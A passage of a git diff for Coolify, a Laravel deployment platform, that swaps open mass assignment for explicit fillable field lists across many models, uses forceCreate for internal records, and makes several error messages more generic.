StandalonePostgresql::create([ + $this->database = StandalonePostgresql::forceCreate([ 'id' => 0, 'name' => 'coolify-db', 'description' => 'Coolify database', @@ -90,7 +91,7 @@ public function addCoolifyDatabase() 'postgres_password' => $postgres_password, 'postgres_db' => $postgres_db, 'status' => 'running', - 'destination_type' => \App\Models\StandaloneDocker::class, + 'destination_type' => StandaloneDocker::class, 'destination_id' => 0, ]); $this->backup = ScheduledDatabaseBackup::create([ @@ -99,7 +100,7 @@ public function addCoolifyDatabase() 'save_s3' => false, 'frequency' => '0 0 * * *', 'database_id' => $this->database->id, - 'database_type' => \App\Models\StandalonePostgresql::class, + 'database_type' => StandalonePostgresql::class, 'team_id' => currentTeam()->id, ]); $this->database->refresh(); diff --git a/app/Livewire/SettingsEmail.php b/app/Livewire/SettingsEmail.php index ca48e9b16..8c0e24400 100644 --- a/app/Livewire/SettingsEmail.php +++ b/app/Livewire/SettingsEmail.php @@ -33,7 +33,7 @@ class SettingsEmail extends Component public ?string $smtpHost = null; #[Validate(['nullable', 'numeric', 'min:1', 'max:65535'])] - public ?int $smtpPort = null; + public ?string $smtpPort = null; #[Validate(['nullable', 'string', 'in:starttls,tls,none'])] public ?string $smtpEncryption = 'starttls'; @@ -45,7 +45,7 @@ class SettingsEmail extends Component public ?string $smtpPassword = null; #[Validate(['nullable', 'numeric'])] - public ?int $smtpTimeout = null; + public ?string $smtpTimeout = null; #[Validate(['boolean'])] public bool $resendEnabled = false; diff --git a/app/Models/Application.php b/app/Models/Application.php index c446052b3..bdc76eb33 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -118,7 +118,92 @@ class Application extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'fqdn', + 'git_repository', + 'git_branch', + 'git_commit_sha', + 'git_full_url', + 'docker_registry_image_name', + 'docker_registry_image_tag', + 'build_pack', + 'static_image', + 'install_command', + 'build_command', + 'start_command', + 'ports_exposes', + 'ports_mappings', + 'base_directory', + 'publish_directory', + 'health_check_enabled', + 'health_check_path', + 'health_check_port', + 'health_check_host', + 'health_check_method', + 'health_check_return_code', + 'health_check_scheme', + 'health_check_response_text', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', + 'health_check_type', + 'health_check_command', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'status', + 'preview_url_template', + 'dockerfile', + 'dockerfile_location', + 'dockerfile_target_build', + 'custom_labels', + 'custom_docker_run_options', + 'post_deployment_command', + 'post_deployment_command_container', + 'pre_deployment_command', + 'pre_deployment_command_container', + 'manual_webhook_secret_github', + 'manual_webhook_secret_gitlab', + 'manual_webhook_secret_bitbucket', + 'manual_webhook_secret_gitea', + 'docker_compose_location', + 'docker_compose_pr_location', + 'docker_compose', + 'docker_compose_pr', + 'docker_compose_raw', + 'docker_compose_pr_raw', + 'docker_compose_domains', + 'docker_compose_custom_start_command', + 'docker_compose_custom_build_command', + 'swarm_replicas', + 'swarm_placement_constraints', + 'watch_paths', + 'redirect', + 'compose_parsing_version', + 'custom_nginx_configuration', + 'custom_network_aliases', + 'custom_healthcheck_found', + 'nixpkgsarchive', + 'is_http_basic_auth_enabled', + 'http_basic_auth_username', + 'http_basic_auth_password', + 'connect_to_docker_network', + 'force_domain_override', + 'is_container_label_escape_enabled', + 'use_build_server', + 'config_hash', + 'last_online_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + ]; protected $appends = ['server_status']; @@ -214,7 +299,7 @@ protected static function booted() } }); static::created(function ($application) { - ApplicationSetting::create([ + ApplicationSetting::forceCreate([ 'application_id' => $application->id, ]); $application->compose_parsing_version = self::$parserVersion; @@ -1051,7 +1136,7 @@ public function isLogDrainEnabled() public function isConfigurationChanged(bool $save = false) { - $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings->use_build_secrets.$this->settings->inject_build_args_to_dockerfile.$this->settings->include_source_commit_in_build); + $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings?->use_build_secrets.$this->settings?->inject_build_args_to_dockerfile.$this->settings?->include_source_commit_in_build); if ($this->pull_request_id === 0 || $this->pull_request_id === null) { $newConfigHash .= json_encode($this->environment_variables()->get(['value', 'is_multiline', 'is_literal', 'is_buildtime', 'is_runtime'])->sort()); } else { @@ -1145,7 +1230,7 @@ public function getGitRemoteStatus(string $deployment_uuid) 'is_accessible' => true, 'error' => null, ]; - } catch (\RuntimeException $ex) { + } catch (RuntimeException $ex) { return [ 'is_accessible' => false, 'error' => $ex->getMessage(), @@ -1202,7 +1287,7 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1354,7 +1439,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $source_html_url_host = $url['host']; $source_html_url_scheme = $url['scheme']; - if ($this->source->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->source->getMorphClass() === GithubApp::class) { if ($this->source->is_public) { $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); @@ -1409,7 +1494,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1600,7 +1685,7 @@ public function oldRawParser() try { $yaml = Yaml::parse($this->docker_compose_raw); } catch (\Exception $e) { - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException($e->getMessage()); } $services = data_get($yaml, 'services'); @@ -1682,7 +1767,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $fileList = collect([".$workdir$composeFile"]); $gitRemoteStatus = $this->getGitRemoteStatus(deployment_uuid: $uuid); if (! $gitRemoteStatus['is_accessible']) { - throw new \RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}"); + throw new RuntimeException('Failed to read Git source. Please verify repository access and try again.'); } $getGitVersion = instant_remote_process(['git --version'], $this->destination->server, false); $gitVersion = str($getGitVersion)->explode(' ')->last(); @@ -1732,15 +1817,15 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->save(); if (str($e->getMessage())->contains('No such file')) { - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) { if ($this->deploymentType() === 'deploy_key') { - throw new \RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); + throw new RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); } - throw new \RuntimeException('Repository does not exist. Please check your repository URL and try again.'); + throw new RuntimeException('Repository does not exist. Please check your repository URL and try again.'); } - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException('Failed to read the Docker Compose file from the repository.'); } finally { // Cleanup only - restoration happens in catch block $commands = collect([ @@ -1793,7 +1878,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->base_directory = $initialBaseDirectory; $this->save(); - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } } diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 34257e7a7..21cb58abe 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -16,6 +16,7 @@ 'application_id' => ['type' => 'string'], 'deployment_uuid' => ['type' => 'string'], 'pull_request_id' => ['type' => 'integer'], + 'docker_registry_image_tag' => ['type' => 'string', 'nullable' => true], 'force_rebuild' => ['type' => 'boolean'], 'commit' => ['type' => 'string'], 'status' => ['type' => 'string'], @@ -39,9 +40,35 @@ )] class ApplicationDeploymentQueue extends Model { - protected $guarded = []; + protected $fillable = [ + 'application_id', + 'deployment_uuid', + 'pull_request_id', + 'force_rebuild', + 'commit', + 'status', + 'is_webhook', + 'logs', + 'current_process_id', + 'restart_only', + 'git_type', + 'server_id', + 'application_name', + 'server_name', + 'deployment_url', + 'destination_id', + 'only_this_server', + 'rollback', + 'commit_message', + 'is_api', + 'build_server_id', + 'horizon_job_id', + 'horizon_job_worker', + 'finished_at', + ]; protected $casts = [ + 'pull_request_id' => 'integer', 'finished_at' => 'datetime', ]; diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index b8a8a5a85..818f96d8e 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -10,7 +10,22 @@ class ApplicationPreview extends BaseModel { use SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'application_id', + 'pull_request_id', + 'pull_request_html_url', + 'pull_request_issue_comment_id', + 'fqdn', + 'status', + 'git_type', + 'docker_compose_domains', + 'docker_registry_image_tag', + 'last_online_at', + ]; + + protected $casts = [ + 'pull_request_id' => 'integer', + ]; protected static function booted() { @@ -69,7 +84,7 @@ public function application() public function persistentStorages() { - return $this->morphMany(\App\Models\LocalPersistentVolume::class, 'resource'); + return $this->morphMany(LocalPersistentVolume::class, 'resource'); } public function generate_preview_fqdn() diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index f40977b3e..24b35df7f 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -28,7 +28,42 @@ class ApplicationSetting extends Model 'docker_images_to_keep' => 'integer', ]; - protected $guarded = []; + protected $fillable = [ + 'is_static', + 'is_git_submodules_enabled', + 'is_git_lfs_enabled', + 'is_auto_deploy_enabled', + 'is_force_https_enabled', + 'is_debug_enabled', + 'is_preview_deployments_enabled', + 'is_log_drain_enabled', + 'is_gpu_enabled', + 'gpu_driver', + 'gpu_count', + 'gpu_device_ids', + 'gpu_options', + 'is_include_timestamps', + 'is_swarm_only_worker_nodes', + 'is_raw_compose_deployment_enabled', + 'is_build_server_enabled', + 'is_consistent_container_name_enabled', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'connect_to_docker_network', + 'custom_internal_name', + 'is_container_label_escape_enabled', + 'is_env_sorting_enabled', + 'is_container_label_readonly_enabled', + 'is_preserve_repository_enabled', + 'disable_build_cache', + 'is_spa', + 'is_git_shallow_clone_enabled', + 'is_pr_deployments_public_enabled', + 'use_build_secrets', + 'inject_build_args_to_dockerfile', + 'include_source_commit_in_build', + 'docker_images_to_keep', + ]; public function isStatic(): Attribute { diff --git a/app/Models/CloudProviderToken.php b/app/Models/CloudProviderToken.php index 700ab0992..123376c9b 100644 --- a/app/Models/CloudProviderToken.php +++ b/app/Models/CloudProviderToken.php @@ -4,7 +4,11 @@ class CloudProviderToken extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'provider', + 'token', + 'name', + ]; protected $casts = [ 'token' => 'encrypted', diff --git a/app/Models/DiscordNotificationSettings.php b/app/Models/DiscordNotificationSettings.php index 23e1f0f12..e86598126 100644 --- a/app/Models/DiscordNotificationSettings.php +++ b/app/Models/DiscordNotificationSettings.php @@ -24,7 +24,8 @@ class DiscordNotificationSettings extends Model 'backup_failure_discord_notifications', 'scheduled_task_success_discord_notifications', 'scheduled_task_failure_discord_notifications', - 'docker_cleanup_discord_notifications', + 'docker_cleanup_success_discord_notifications', + 'docker_cleanup_failure_discord_notifications', 'server_disk_usage_discord_notifications', 'server_reachable_discord_notifications', 'server_unreachable_discord_notifications', diff --git a/app/Models/DockerCleanupExecution.php b/app/Models/DockerCleanupExecution.php index 405037e30..280277951 100644 --- a/app/Models/DockerCleanupExecution.php +++ b/app/Models/DockerCleanupExecution.php @@ -6,7 +6,13 @@ class DockerCleanupExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'server_id', + 'status', + 'message', + 'cleanup_log', + 'finished_at', + ]; public function server(): BelongsTo { diff --git a/app/Models/EmailNotificationSettings.php b/app/Models/EmailNotificationSettings.php index ee31a49b6..1277e45d9 100644 --- a/app/Models/EmailNotificationSettings.php +++ b/app/Models/EmailNotificationSettings.php @@ -34,7 +34,11 @@ class EmailNotificationSettings extends Model 'backup_failure_email_notifications', 'scheduled_task_success_email_notifications', 'scheduled_task_failure_email_notifications', + 'docker_cleanup_success_email_notifications', + 'docker_cleanup_failure_email_notifications', 'server_disk_usage_email_notifications', + 'server_reachable_email_notifications', + 'server_unreachable_email_notifications', 'server_patch_email_notifications', 'traefik_outdated_email_notifications', ]; diff --git a/app/Models/Environment.php b/app/Models/Environment.php index d4e614e6e..55ce93265 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -25,7 +25,10 @@ class Environment extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + ]; protected static function booted() { diff --git a/app/Models/GithubApp.php b/app/Models/GithubApp.php index ab82c9a9c..3cffeb8f8 100644 --- a/app/Models/GithubApp.php +++ b/app/Models/GithubApp.php @@ -6,7 +6,25 @@ class GithubApp extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'organization', + 'api_url', + 'html_url', + 'custom_user', + 'custom_port', + 'app_id', + 'installation_id', + 'client_id', + 'client_secret', + 'webhook_secret', + 'is_system_wide', + 'is_public', + 'contents', + 'metadata', + 'pull_requests', + 'administration', + ]; protected $appends = ['type']; @@ -92,7 +110,7 @@ public function type(): Attribute { return Attribute::make( get: function () { - if ($this->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->getMorphClass() === GithubApp::class) { return 'github'; } }, diff --git a/app/Models/GitlabApp.php b/app/Models/GitlabApp.php index 2112a4a66..06df8fd8d 100644 --- a/app/Models/GitlabApp.php +++ b/app/Models/GitlabApp.php @@ -4,6 +4,24 @@ class GitlabApp extends BaseModel { + protected $fillable = [ + 'name', + 'organization', + 'api_url', + 'html_url', + 'custom_port', + 'custom_user', + 'is_system_wide', + 'is_public', + 'app_id', + 'app_secret', + 'oauth_id', + 'group_name', + 'public_key', + 'webhook_token', + 'deploy_key_id', + ]; + protected $hidden = [ 'webhook_token', 'app_secret', diff --git a/app/Models/InstanceSettings.php b/app/Models/InstanceSettings.php index ccc361d67..6061bc863 100644 --- a/app/Models/InstanceSettings.php +++ b/app/Models/InstanceSettings.php @@ -9,7 +9,43 @@ class InstanceSettings extends Model { - protected $guarded = []; + protected $fillable = [ + 'public_ipv4', + 'public_ipv6', + 'fqdn', + 'public_port_min', + 'public_port_max', + 'do_not_track', + 'is_auto_update_enabled', + 'is_registration_enabled', + 'next_channel', + 'smtp_enabled', + 'smtp_from_address', + 'smtp_from_name', + 'smtp_recipients', + 'smtp_host', + 'smtp_port', + 'smtp_encryption', + 'smtp_username', + 'smtp_password', + 'smtp_timeout', + 'resend_enabled', + 'resend_api_key', + 'is_dns_validation_enabled', + 'custom_dns_servers', + 'instance_name', + 'is_api_enabled', + 'allowed_ips', + 'auto_update_frequency', + 'update_check_frequency', + 'new_version_available', + 'instance_timezone', + 'helper_version', + 'disable_two_step_confirmation', + 'is_sponsorship_popup_enabled', + 'dev_helper_version', + 'is_wire_navigate_enabled', + ]; protected $casts = [ 'smtp_enabled' => 'boolean', diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index b954a1dd5..4b5c602c2 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -20,7 +20,18 @@ class LocalFileVolume extends BaseModel use HasFactory; - protected $guarded = []; + protected $fillable = [ + 'fs_path', + 'mount_path', + 'content', + 'resource_type', + 'resource_id', + 'is_directory', + 'chown', + 'chmod', + 'is_based_on_git', + 'is_preview_suffix_enabled', + ]; public $appends = ['is_binary']; diff --git a/app/Models/LocalPersistentVolume.php b/app/Models/LocalPersistentVolume.php index 9d539f8ec..2f0f482b0 100644 --- a/app/Models/LocalPersistentVolume.php +++ b/app/Models/LocalPersistentVolume.php @@ -7,7 +7,15 @@ class LocalPersistentVolume extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'mount_path', + 'host_path', + 'container_id', + 'resource_type', + 'resource_id', + 'is_preview_suffix_enabled', + ]; protected $casts = [ 'is_preview_suffix_enabled' => 'boolean', diff --git a/app/Models/Project.php b/app/Models/Project.php index ed1b415c1..ff2cae041 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -24,7 +24,10 @@ class Project extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + ]; /** * Get query builder for projects owned by current team. @@ -48,10 +51,10 @@ public static function ownedByCurrentTeamCached() protected static function booted() { static::created(function ($project) { - ProjectSetting::create([ + ProjectSetting::forceCreate([ 'project_id' => $project->id, ]); - Environment::create([ + Environment::forceCreate([ 'name' => 'production', 'project_id' => $project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Models/ProjectSetting.php b/app/Models/ProjectSetting.php index d93bea05b..7ea17ba7a 100644 --- a/app/Models/ProjectSetting.php +++ b/app/Models/ProjectSetting.php @@ -6,7 +6,7 @@ class ProjectSetting extends Model { - protected $guarded = []; + protected $fillable = []; public function project() { diff --git a/app/Models/PushoverNotificationSettings.php b/app/Models/PushoverNotificationSettings.php index 189d05dd4..5ad617ad6 100644 --- a/app/Models/PushoverNotificationSettings.php +++ b/app/Models/PushoverNotificationSettings.php @@ -25,7 +25,8 @@ class PushoverNotificationSettings extends Model 'backup_failure_pushover_notifications', 'scheduled_task_success_pushover_notifications', 'scheduled_task_failure_pushover_notifications', - 'docker_cleanup_pushover_notifications', + 'docker_cleanup_success_pushover_notifications', + 'docker_cleanup_failure_pushover_notifications', 'server_disk_usage_pushover_notifications', 'server_reachable_pushover_notifications', 'server_unreachable_pushover_notifications', diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index f395a065c..d6feccc7e 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -12,7 +12,17 @@ class S3Storage extends BaseModel { use HasFactory, HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'region', + 'key', + 'secret', + 'bucket', + 'endpoint', + 'is_usable', + 'unusable_email_sent', + ]; protected $casts = [ 'is_usable' => 'boolean', diff --git a/app/Models/ScheduledDatabaseBackup.php b/app/Models/ScheduledDatabaseBackup.php index 3ade21df8..c6aed863d 100644 --- a/app/Models/ScheduledDatabaseBackup.php +++ b/app/Models/ScheduledDatabaseBackup.php @@ -8,7 +8,25 @@ class ScheduledDatabaseBackup extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'description', + 'enabled', + 'save_s3', + 'frequency', + 'database_backup_retention_amount_locally', + 'database_type', + 'database_id', + 's3_storage_id', + 'databases_to_backup', + 'dump_all', + 'database_backup_retention_days_locally', + 'database_backup_retention_max_storage_locally', + 'database_backup_retention_amount_s3', + 'database_backup_retention_days_s3', + 'database_backup_retention_max_storage_s3', + 'timeout', + 'disable_local_backup', + ]; public static function ownedByCurrentTeam() { diff --git a/app/Models/ScheduledDatabaseBackupExecution.php b/app/Models/ScheduledDatabaseBackupExecution.php index c0298ecc8..f1f6e88b5 100644 --- a/app/Models/ScheduledDatabaseBackupExecution.php +++ b/app/Models/ScheduledDatabaseBackupExecution.php @@ -6,7 +6,17 @@ class ScheduledDatabaseBackupExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'status', + 'message', + 'size', + 'filename', + 'database_name', + 'finished_at', + 'local_storage_deleted', + 's3_storage_deleted', + 's3_uploaded', + ]; protected function casts(): array { diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index e771ce31e..e76f1b7b9 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -29,7 +29,14 @@ class ScheduledTask extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'enabled', + 'name', + 'command', + 'frequency', + 'container', + 'timeout', + ]; public static function ownedByCurrentTeamAPI(int $teamId) { diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php index c0601a4c9..dd74ba2e0 100644 --- a/app/Models/ScheduledTaskExecution.php +++ b/app/Models/ScheduledTaskExecution.php @@ -22,7 +22,15 @@ )] class ScheduledTaskExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'status', + 'message', + 'finished_at', + 'started_at', + 'retry_count', + 'duration', + 'error_details', + ]; protected function casts(): array { diff --git a/app/Models/Server.php b/app/Models/Server.php index 00843b3da..427896a19 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -34,6 +34,7 @@ use Spatie\SchemalessAttributes\Casts\SchemalessAttributes; use Spatie\SchemalessAttributes\SchemalessAttributesTrait; use Spatie\Url\Url; +use Stevebauman\Purify\Facades\Purify; use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; @@ -142,19 +143,19 @@ protected static function booted() } }); static::created(function ($server) { - ServerSetting::create([ + ServerSetting::forceCreate([ 'server_id' => $server->id, ]); if ($server->id === 0) { if ($server->isSwarm()) { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify-overlay', 'server_id' => $server->id, ]); } else { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify', @@ -163,13 +164,14 @@ protected static function booted() } } else { if ($server->isSwarm()) { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'name' => 'coolify-overlay', 'network' => 'coolify-overlay', 'server_id' => $server->id, ]); } else { - $standaloneDocker = new StandaloneDocker([ + $standaloneDocker = new StandaloneDocker; + $standaloneDocker->forceFill([ 'name' => 'coolify', 'uuid' => (string) new Cuid2, 'network' => 'coolify', @@ -265,14 +267,12 @@ public static function flushIdentityMap(): void 'server_metadata', ]; - protected $guarded = []; - use HasSafeStringAttribute; public function setValidationLogsAttribute($value): void { $this->attributes['validation_logs'] = $value !== null - ? \Stevebauman\Purify\Facades\Purify::config('validation_logs')->clean($value) + ? Purify::config('validation_logs')->clean($value) : null; } diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 504cfa60a..d34f2c86b 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -53,9 +53,53 @@ )] class ServerSetting extends Model { - protected $guarded = []; + protected $fillable = [ + 'is_swarm_manager', + 'is_jump_server', + 'is_build_server', + 'is_reachable', + 'is_usable', + 'wildcard_domain', + 'is_cloudflare_tunnel', + 'is_logdrain_newrelic_enabled', + 'logdrain_newrelic_license_key', + 'logdrain_newrelic_base_uri', + 'is_logdrain_highlight_enabled', + 'logdrain_highlight_project_id', + 'is_logdrain_axiom_enabled', + 'logdrain_axiom_dataset_name', + 'logdrain_axiom_api_key', + 'is_swarm_worker', + 'is_logdrain_custom_enabled', + 'logdrain_custom_config', + 'logdrain_custom_config_parser', + 'concurrent_builds', + 'dynamic_timeout', + 'force_disabled', + 'is_metrics_enabled', + 'generate_exact_labels', + 'force_docker_cleanup', + 'docker_cleanup_frequency', + 'docker_cleanup_threshold', + 'server_timezone', + 'delete_unused_volumes', + 'delete_unused_networks', + 'is_sentinel_enabled', + 'sentinel_token', + 'sentinel_metrics_refresh_rate_seconds', + 'sentinel_metrics_history_days', + 'sentinel_push_interval_seconds', + 'sentinel_custom_url', + 'server_disk_usage_notification_threshold', + 'is_sentinel_debug_enabled', + 'server_disk_usage_check_frequency', + 'is_terminal_enabled', + 'deployment_queue_limit', + 'disable_application_image_retention', + ]; protected $casts = [ + 'force_disabled' => 'boolean', 'force_docker_cleanup' => 'boolean', 'docker_cleanup_threshold' => 'integer', 'sentinel_token' => 'encrypted', diff --git a/app/Models/Service.php b/app/Models/Service.php index 84c047bb7..491924c49 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -15,6 +15,7 @@ use OpenApi\Attributes as OA; use Spatie\Activitylog\Models\Activity; use Spatie\Url\Url; +use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; #[OA\Schema( @@ -47,7 +48,17 @@ class Service extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'docker_compose_raw', + 'docker_compose', + 'connect_to_docker_network', + 'service_type', + 'config_hash', + 'compose_parsing_version', + 'is_container_label_escape_enabled', + ]; protected $appends = ['server_status', 'status']; @@ -1552,7 +1563,7 @@ public function saveComposeConfigs() // Generate SERVICE_NAME_* environment variables from docker-compose services if ($this->docker_compose) { try { - $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($this->docker_compose); + $dockerCompose = Yaml::parse($this->docker_compose); $services = data_get($dockerCompose, 'services', []); foreach ($services as $serviceName => $_) { $envs->push('SERVICE_NAME_'.str($serviceName)->replace('-', '_')->replace('.', '_')->upper().'='.$serviceName); diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 4bf78085e..e608c202d 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -5,12 +5,30 @@ use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; +use Symfony\Component\Yaml\Yaml; class ServiceApplication extends BaseModel { use HasFactory, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'human_name', + 'description', + 'fqdn', + 'ports', + 'exposes', + 'status', + 'exclude_from_status', + 'required_fqdn', + 'image', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'last_online_at', + 'is_migrated', + ]; protected static function booted() { @@ -211,7 +229,7 @@ public function getRequiredPort(): ?int return $this->service->getRequiredPort(); } - $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); + $dockerCompose = Yaml::parse($dockerComposeRaw); $serviceConfig = data_get($dockerCompose, "services.{$this->name}"); if (! $serviceConfig) { return $this->service->getRequiredPort(); diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index c6a0143a8..e5b28d929 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -9,7 +9,27 @@ class ServiceDatabase extends BaseModel { use HasFactory, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'human_name', + 'description', + 'fqdn', + 'ports', + 'exposes', + 'status', + 'exclude_from_status', + 'image', + 'public_port', + 'is_public', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'last_online_at', + 'is_migrated', + 'custom_type', + 'public_port_timeout', + ]; protected $casts = [ 'public_port_timeout' => 'integer', diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 9bd42c328..158140b12 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -22,6 +22,9 @@ class SharedEnvironmentVariable extends Model 'is_multiline', 'is_literal', 'is_shown_once', + + // Metadata + 'version', ]; protected $casts = [ diff --git a/app/Models/SlackNotificationSettings.php b/app/Models/SlackNotificationSettings.php index 128b25221..d4f125fb5 100644 --- a/app/Models/SlackNotificationSettings.php +++ b/app/Models/SlackNotificationSettings.php @@ -24,7 +24,8 @@ class SlackNotificationSettings extends Model 'backup_failure_slack_notifications', 'scheduled_task_success_slack_notifications', 'scheduled_task_failure_slack_notifications', - 'docker_cleanup_slack_notifications', + 'docker_cleanup_success_slack_notifications', + 'docker_cleanup_failure_slack_notifications', 'server_disk_usage_slack_notifications', 'server_reachable_slack_notifications', 'server_unreachable_slack_notifications', diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 143aadb6a..c6d91dd55 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -13,12 +13,39 @@ class StandaloneClickhouse extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'clickhouse_admin_user', + 'clickhouse_admin_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 